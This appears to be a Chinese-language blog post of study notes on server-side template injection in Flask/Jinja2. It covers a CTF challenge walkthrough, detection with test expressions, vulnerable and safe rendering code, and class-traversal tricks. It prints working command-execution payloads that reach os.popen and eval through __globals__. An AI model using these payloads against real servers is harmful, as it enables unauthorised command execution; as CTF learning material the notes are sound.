当前位置: 首页 > news >正文

SSTI学习

1,什么是模板

        模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

2,什么是SSTI

        SSTI(Server-Side Template Injection)——服务器端模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

        漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

        看了下例子,形式上有点像做题题型,根据题型去选择对应的方法。内容上感觉像是xss

先跟着wp做一题看看是什么情况

[HNCTF 2022 WEEK2]ez_SSTI

非常干净,源代码里也没有提示。但题目上给这题打的Flask框架 

尝试传参

用变量标识符包裹,发现可以识别 然后就是将payload中注入python函数

?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20flag%27).read()}}

3,SSTI的攻击方式

SSTI由于不同的模板,其语法也会有所不同吗,后文以twig为例。

如果用此模板去攻击其他模板,通常是不行的。

1,检测是否存在SSTI

        如上面的例子一样,当我们传入正常的name参数时,整个网页会显示正常。看起来就像平常的get传参拼接一样,但是当我们用特定的模板语法构成的payload被成功解析时,那么就可以判断这里存在SSTI注入。如果没有可能就是其他模板或者不存在SSTI。

比如在源码中看到类似

<h1>hello {{name}}</h1>

之类的,传入一个name参数能被成显示,如果传入{{2*2}},能被成功解析为4,那八九不离十就是SSTI注入了

2,发起攻击

        在找到注入点后,就能像sql那样发起攻击了。原理就是利用该模板的函数进行文件的增删读改。然后因为模板会将盖变量输出,所以我们也就能够看见结果了。

        由于模板有多种,每种payload都是不同的。而且随着php版本不同,模板的更新,会出现新的方法,同时之前的旧方法可能会失效。需要在过程中不断积累。

4,Flask框架下的攻击

        由于有很多的模板,这里就以Python的Flask框架为例子,学习SSTI。

这种漏洞多半是由于字符转义不严格,代码直接将用户输入输出,通过构造恶意语句执行命令。

@app.route('/test2', defaults={'name': 'kobe'})
@app.route('/test2/<name>')#动态路由获取name参数
def test2(name):data='''<html><body>{{str}}</body></html>'''return render_template_string(data,str=name)

        以上述代码为例,创建了一个名为test2的路由,并且是动态路由,通过路由获取name的参数

在flask中,用{{}}来标识变量。然后返回重新渲染过的data数据,并标记变量str是name

因为渲染时,特殊字符会被转义,所以这样就不会被当作变量解析。

但如果我们直接将变量拼接到数据中就会造成恶意输入被解析

@app.route('/test1',methods=['GET','POST'])#get传参获取参数
def test1():name = request.args.get('name',default='kobe')data='''<html><head></head><body>hello {}</body></html>'''.format(name)return render_template_string(data)

比如我们用format格式化字符串 what_can_i_say!! 这样被成功解析后就能用继承关系找环境中的可以用魔术方法拿flag

__class__:查找当前类型所属对象

__base__:查找上一级父类

__mro__:查找当前类对象的所有继承类

__subclasses__():查找父类下的所有子类

__init__:查看类是否重载(程序在运行时就已经加载好了这个模块到内存中),如果出现wrapper说明没有重载

__globals__:函数会以字典的形式返回当前对象的全部全局变量

 主要流程时找os._wrap_close,然后再全局变量中找:

__buitins__:对所有内置标识符直接访问

eval():内置函数,计算字符串表达式的值

popen():执行一个shell以运行命令

先获取一个类 然后一直访问它的父类,也就是一直套__base__,知道object(object应该是所有类的父类,再访问object的所有子类就能找到有用的方法)

 然后把找到的所有类,用任何办法,找到os._wrap_close这个方法

然后以数组的形式访问 然后看查该方法是否重载,如果没有重载就需要换一个方法,因该是

只要返回出地址就代表已经重载了

然后再看查当前对象的全局变量 然后可以用浏览器的搜索框,看是否存在这三种全局变量

__buitins__,eval(),popen()

然后传入payload,就可以任意命令执行了

{{"".__class__.__base__.__subclasses__()[159].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}也可以直接用popen{{"".__class__.__base__.__subclasses__()[159].__init__.__globals__['popen']('ls').read()}}

 

当然SSTI还有很多模板,可以用如下图示判断是否是这几种主流模板之一

相关文章:

  • 学习人工智能开发的详细指南
  • 处理 Clickhouse 内存溢出
  • react naive 网络框架源码解析
  • javascript:void(0) 是一个常见的 JavaScript 伪协议
  • 深入解析代理服务器:原理、应用与实战配置指南
  • 修复CosyVoice中的ModuleNotFoundError: No module named ‘diffusers.models.lora‘记录
  • 【Python 文件I/O】
  • 【应用密码学】实验四 公钥密码1——数学基础
  • 岳冉RFID手持式读写器专业研发+模块定制双驱动
  • 单应性估计
  • 思科 SNS 3600 系列
  • 线性回归评价标准
  • Beyond Compare 5破解
  • 面试常问系列(一)-神经网络参数初始化-之-softmax
  • 第二章 Logback的架构(二)
  • [250504] Moonshot AI 发布 Kimi-Audio:开源通用音频大模型,驱动多模态 AI 新浪潮
  • Adobe卸载清理工具Creative Cloud Cleaner Tool下载
  • 学习Python的第二天之网络爬虫
  • 各国健康指标数据查询
  • P48-56 应用游戏标签
  • 习近平致电祝贺默茨当选德国联邦总理
  • 怎样正确看待体脂率数据?或许并不需要太“执着”
  • 虚构医药服务项目、协助冒名就医等,北京4家医疗机构被处罚
  • “五一”假期国内出游3.14亿人次,同比增长6.4%
  • 媒体:不能让追求升学率,成为高中不双休的借口
  • 猎金,游戏,诚不我欺